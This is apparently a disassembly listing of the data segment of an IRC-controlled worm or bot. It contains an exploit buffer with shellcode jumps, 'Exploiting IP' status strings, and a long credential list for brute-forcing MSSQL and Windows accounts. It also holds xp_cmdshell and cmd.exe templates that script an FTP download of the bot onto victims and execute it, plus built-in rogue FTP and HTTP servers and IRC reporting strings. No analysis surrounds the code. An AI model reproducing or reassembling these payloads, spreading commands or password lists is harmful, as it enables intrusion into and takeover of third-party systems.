dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dd 20h, 0
dd 20h, 5C005Ch, 0
dd offset loc_430058+4
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0)
a127_0_0_1Ipc: ; DATA XREF: sub_40C16C+CBo
unicode 0, <127.0.0.1\IPC$\>
; ---------------------------------------------------------------------------
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
loc_4402B4: ; CODE XREF: .data:004404BCj
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
loc_440487: ; CODE XREF: .data:loc_4404EFj
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
jmp loc_4402B4
; ---------------------------------------------------------------------------
db 3 dup(45h)
; ---------------------------------------------------------------------------
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
loc_4404E5: ; CODE XREF: .data:004404F3j
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
inc ebp
loc_4404EB: ; DATA XREF: sub_40C16C+11Eo
add [esp+edx+54h], cl
loc_4404EF: ; DATA XREF: sub_40C16C+108o
jl short loc_440487
mov ah, 0A1h
ja short loc_4404E5
mov eax, ds:0AFA977EDh
mov eax, ds:41414177h
inc ecx
; ---------------------------------------------------------------------------
dd 77FCC662h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_40C16C+202o
align 10h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_40C16C+24Fo
align 10h
aSa db 'sa',0 ; DATA XREF: .data:0040C428o
align 4
aRoot db 'root',0 ; DATA XREF: .data:0040C435o
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:0040C43Co
align 4
aAdministrator db 'administrator',0 ; DATA XREF: .data:0040C450o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:0040C45Ao
align 4
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0040C464o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0040C46Eo
aAdmins db 'admins',0 ; DATA XREF: .data:0040C478o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: .data:0040C482o
align 10h
aAdm db 'adm',0 ; DATA XREF: .data:0040C48Co
aPassword1 db 'password1',0 ; DATA XREF: .data:0040C496o
align 10h
aPassword db 'password',0 ; DATA XREF: .data:0040C4A0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:0040C4AAo
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:0040C4B4o
align 10h
aPass db 'pass',0 ; DATA XREF: .data:0040C4BEo
align 4
aPwd db 'pwd',0 ; DATA XREF: .data:0040C4C8o
a007 db '007',0 ; DATA XREF: .data:0040C4D2o
a1: ; DATA XREF: .data:0040C4DCo
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: .data:0040C4E6o
align 4
a123 db '123',0 ; DATA XREF: .data:0040C4F0o
a1234 db '1234',0 ; DATA XREF: .data:0040C4FAo
align 4
a12345 db '12345',0 ; DATA XREF: .data:0040C504o
align 4
a123456 db '123456',0 ; DATA XREF: .data:0040C50Eo
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:0040C518o
a12345678 db '12345678',0 ; DATA XREF: .data:0040C522o
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:0040C52Co
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:0040C536o
align 10h
a2000 db '2000',0 ; DATA XREF: .data:0040C540o
align 4
a2001 db '2001',0 ; DATA XREF: .data:0040C54Ao
align 10h
a2002 db '2002',0 ; DATA XREF: .data:0040C554o
align 4
a2003 db '2003',0 ; DATA XREF: .data:0040C55Eo
align 10h
a2004 db '2004',0 ; DATA XREF: .data:0040C568o
align 4
aTest db 'test',0 ; DATA XREF: .data:0040C572o
align 10h
aGuest db 'guest',0 ; DATA XREF: .data:0040C57Co
align 4
aNone db 'none',0 ; DATA XREF: .data:0040C586o
align 10h
aDemo db 'demo',0 ; DATA XREF: .data:0040C590o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:0040C59Ao
align 10h
aLinux db 'linux',0 ; DATA XREF: .data:0040C5A4o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0040C5AEo
align 4
aDefault db 'default',0 ; DATA XREF: .data:0040C5B8o
aSystem db 'system',0 ; DATA XREF: .data:0040C5C2o
align 4
aServer_1 db 'server',0 ; DATA XREF: .data:0040C5CCo
align 4
aRoot_0 db 'root',0 ; DATA XREF: .data:0040C5D6o
align 4
aNull db 'null',0 ; DATA XREF: .data:0040C5E0o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0040C5EAo
align 4
aMail db 'mail',0 ; DATA XREF: .data:0040C5F4o
align 4
aOutlook db 'outlook',0 ; DATA XREF: .data:0040C5FEo
aWeb db 'web',0 ; DATA XREF: .data:0040C608o
aWww db 'www',0 ; DATA XREF: .data:0040C612o
aInternet db 'internet',0 ; DATA XREF: .data:0040C61Co
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0040C626o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .data:0040C630o
align 10h
aHome db 'home',0 ; DATA XREF: .data:0040C63Ao
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0040C644o
align 4
aUser_1 db 'user',0 ; DATA XREF: .data:0040C64Eo
align 4
aOem db 'oem',0 ; DATA XREF: .data:0040C658o
aOemuser db 'oemuser',0 ; DATA XREF: .data:0040C662o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0040C66Co
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0040C676o
aWin98 db 'win98',0 ; DATA XREF: .data:0040C680o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:0040C68Ao
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:0040C694o
align 4
aWinnt db 'winnt',0 ; DATA XREF: .data:0040C69Eo
align 4
aWin2000 db 'win2000',0 ; DATA XREF: .data:0040C6A8o
aQaz db 'qaz',0 ; DATA XREF: .data:0040C6B2o
aAsd db 'asd',0 ; DATA XREF: .data:0040C6BCo
aZxc db 'zxc',0 ; DATA XREF: .data:0040C6C6o
aQwe db 'qwe',0 ; DATA XREF: .data:0040C6D0o
aBob db 'bob',0 ; DATA XREF: .data:0040C6DAo
aJen db 'jen',0 ; DATA XREF: .data:0040C6E4o
aJoe db 'joe',0 ; DATA XREF: .data:0040C6EEo
aFred db 'fred',0 ; DATA XREF: .data:0040C6FBo
align 4
aBill db 'bill',0 ; DATA XREF: .data:0040C709o
align 10h
aMike db 'mike',0 ; DATA XREF: .data:0040C713o
align 4
aJohn db 'john',0 ; DATA XREF: .data:0040C71Do
align 10h
aPeter db 'peter',0 ; DATA XREF: .data:0040C727o
align 4
aLuke db 'luke',0 ; DATA XREF: .data:0040C731o
align 10h
aSam db 'sam',0 ; DATA XREF: .data:0040C73Bo
aSue db 'sue',0 ; DATA XREF: .data:0040C745o
aSusan db 'susan',0 ; DATA XREF: .data:0040C74Fo
align 10h
aPeter_0 db 'peter',0 ; DATA XREF: .data:0040C759o
align 4
aBrian db 'brian',0 ; DATA XREF: .data:0040C763o
align 10h
aLee db 'lee',0 ; DATA XREF: .data:0040C76Do
aNeil db 'neil',0 ; DATA XREF: .data:0040C777o
align 4
aIan db 'ian',0 ; DATA XREF: .data:0040C781o
aChris db 'chris',0 ; DATA XREF: .data:0040C78Bo
align 4
aEric db 'eric',0 ; DATA XREF: .data:0040C795o
align 10h
aGeorge db 'george',0 ; DATA XREF: .data:0040C79Fo
align 4
aKate db 'kate',0 ; DATA XREF: .data:0040C7A9o
align 10h
aBob_0 db 'bob',0 ; DATA XREF: .data:0040C7B3o
aKatie db 'katie',0 ; DATA XREF: .data:0040C7BDo
align 4
aMary db 'mary',0 ; DATA XREF: .data:0040C7C7o
align 4
aLogin_0 db 'login',0 ; DATA XREF: .data:0040C7D1o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0040C7DBo
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:0040C7E5o
align 4
aBackup db 'backup',0 ; DATA XREF: .data:0040C7EFo
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:0040C7F9o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0040C803o
align 10h
aBitch db 'bitch',0 ; DATA XREF: .data:0040C80Do
align 4
aSlut db 'slut',0 ; DATA XREF: .data:0040C817o
align 10h
aSex db 'sex',0 ; DATA XREF: .data:0040C821o
aGod db 'god',0 ; DATA XREF: .data:0040C82Bo
aHell db 'hell',0 ; DATA XREF: .data:0040C835o
align 10h
aHello db 'hello',0 ; DATA XREF: .data:0040C83Fo
align 4
aDomain db 'domain',0 ; DATA XREF: .data:0040C849o
align 10h
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0040C853o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0040C85Do
align 4
aDatabase db 'database',0 ; DATA XREF: .data:0040C867o
align 4
aAccess db 'access',0 ; DATA XREF: .data:0040C871o
align 10h
aDbpass db 'dbpass',0 ; DATA XREF: .data:0040C87Bo
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0040C885o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0040C88Fo
align 4
aData db 'data',0 ; DATA XREF: .data:0040C899o
align 4
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0040C8A3o
align 10h
aDb1 db 'db1',0 ; DATA XREF: .data:0040C8ADo
aDb2 db 'db2',0 ; DATA XREF: .data:0040C8B7o
aDb1234 db 'db1234',0 ; DATA XREF: .data:0040C8C1o
align 10h
aSa_0 db 'sa',0 ; DATA XREF: .data:0040C8CBo
align 4
aSql db 'sql',0 ; DATA XREF: .data:0040C8D5o
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0040C8DFo
align 4
aOrainstall db 'orainstall',0 ; DATA XREF: .data:0040C8E9o
align 4
aOracle db 'oracle',0 ; DATA XREF: .data:0040C8F3o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .data:0040C8FDo
aCisco db 'cisco',0 ; DATA XREF: .data:0040C904o
align 4
aDell db 'dell',0 ; DATA XREF: .data:0040C90Bo
align 4
aCompaq db 'compaq',0 ; DATA XREF: .data:0040C912o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .data:0040C919o
aHp db 'hp',0 ; DATA XREF: .data:0040C920o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:0040C927o
align 10h
aXp db 'xp',0 ; DATA XREF: .data:0040C92Eo
align 4
aControl db 'control',0 ; DATA XREF: .data:0040C935o
aOffice db 'office',0 ; DATA XREF: .data:0040C93Co
align 4
aBlank db 'blank',0 ; DATA XREF: .data:0040C943o
align 4
aWinpass db 'winpass',0 ; DATA XREF: .data:0040C94Ao
aMain db 'main',0 ; DATA XREF: .data:0040C951o
align 4
aLan db 'lan',0 ; DATA XREF: .data:0040C958o
aInternet_0 db 'internet',0 ; DATA XREF: .data:0040C95Fo
align 4
aIntranet db 'intranet',0 ; DATA XREF: .data:0040C966o
align 4
aStudent db 'student',0 ; DATA XREF: .data:0040C96Do
aTeacher db 'teacher',0 ; DATA XREF: .data:0040C974o
aStaff db 'staff',0 ; DATA XREF: .data:0040C97Bo
align 10h
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: .data:0040C9FBo
align 8
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: .data:0040CA94o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .data:0040CACBo
align 4
dword_440AB8 dd 21F5B1Fh, 544F4F52h, 1F024445h, 0BB201F5Dh, 4920BBBBh
; DATA XREF: .data:0040CAE0o
dd 25203A50h, 73h
unk_440AD4 db 2 ; DATA XREF: .data:0040CB5Fo
db 28h, 6Dh, 73h
db 71h ; q
db 6Ch, 29h, 1Fh
db 20h
db 2, 2 dup(0BBh)
db 2
aTryingSDUserSS db ' Trying: (%s:%d) user: (%s/%s).',0
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40CC69+130o
align 10h
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40CE55+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40D0F7+1B9o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_40D0F7+237o
align 10h
aUser_2 db 'USER',0 ; DATA XREF: sub_40D0F7+248o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40D0F7+25Do
align 10h
aPass_0 db 'PASS',0 ; DATA XREF: sub_40D0F7+26Do
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40D0F7+281o
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_40D0F7+291o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40D0F7+2A5o
align 4
aRest db 'REST',0 ; DATA XREF: sub_40D0F7+2B5o
align 10h
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40D0F7+2C9o
align 4
off_440C14 dd offset dword_445750 ; DATA XREF: sub_40D0F7+2D9o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40D0F7+2EDo
align 4
aType db 'TYPE',0 ; DATA XREF: sub_40D0F7+2FDo
align 2
aA_0 db 'A',0 ; DATA XREF: sub_40D0F7+314o
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40D0F7+328o
aType_0 db 'TYPE',0 ; DATA XREF: sub_40D0F7+338o
align 2
aI_0 db 'I',0 ; DATA XREF: sub_40D0F7+34Fo
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40D0F7+363o
aPasv db 'PASV',0 ; DATA XREF: sub_40D0F7+373o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40D0F7+386o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40D0F7+3C1o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40D0F7+3D4o
align 4
aPort db 'PORT',0 ; DATA XREF: sub_40D0F7+402o
align 4
aS_14 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40D0F7+43Bo
db ']',0
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40D0F7+47Fo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40D0F7+4B2o
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40D0F7+4C3o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40D0F7+4D3o
align 10h
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40D0F7+4EBo
align 4
aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40D0F7+514o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40D0F7+55Eo
aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40D0F7+570o
align 10h
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40D0F7+5C1o
align 4
aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40D0F7+5CEo
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40D0F7+5E2o
aRb db 'rb',0 ; DATA XREF: sub_40D78C+24o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40D826+25Eo
align 2
asc_440E06 db ' ',0 ; DATA XREF: sub_40D826+281o
asc_440E08: ; DATA XREF: sub_40D826+286o
unicode 0, < >,0
aGet_1 db 'GET ',0 ; DATA XREF: sub_40D826+291o
align 4
asc_440E14 db 0Dh,0Ah,0 ; DATA XREF: sub_40D826+2C4o
align 4
unk_440E18 db 2Dh ; - ; DATA XREF: sub_40D826+3D9o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
aTextHtml db 'text/html',0 ; DATA XREF: sub_40DC62+64o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40DC62:loc_40DCCDo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DC62+83o
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40DC62+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 8
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aS_15 db '\%s',0 ; DATA XREF: sub_40DDDE+2Fo
aS_16 db '%s',0 ; DATA XREF: sub_40DDDE+39o
align 10h
aSS_2 db '%s%s',0 ; DATA XREF: sub_40DDDE+E9o
align 2
asc_441066 db 0Ah,0 ; DATA XREF: sub_40DDDE+FAo
asc_441068: ; DATA XREF: sub_40DDDE+156o
unicode 0, <*>,0
unk_44106C db 2Dh ; - ; DATA XREF: sub_40DDDE+20Ao
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
dword_4410A0 dd 234032Dh, 70747468h, 2D030264h, 69616620h, 2064656Ch
; DATA XREF: sub_40DDDE+27Co
dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h
dd 202C6461h, 6F727265h, 64252072h
db 2 dup(0)
word_4410D6 dw 0Ah ; DATA XREF: sub_40E08D+29o
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+4Bo
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40E08D+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E08D+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+146o
align 8
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: sub_40E08D+231o
align 10h
a__0: ; DATA XREF: sub_40E08D+24Co
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: sub_40E08D+284o
align 4
aAm db 'AM',0 ; DATA XREF: sub_40E08D+293o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E08D+2B4o
aS_17 db '<%s>',0 ; DATA XREF: sub_40E08D+2DEo
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40E08D+308o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+335o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aSS_3 db '%s%s/',0 ; DATA XREF: sub_40E08D+379o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E08D+3C6o
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E45Ao
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E08D+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aS_18 db '<%s>',0 ; DATA XREF: sub_40E08D+418o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+439o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E08D+476o
align 4
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_4 db '%s%s',0 ; DATA XREF: sub_40E08D+4CFo
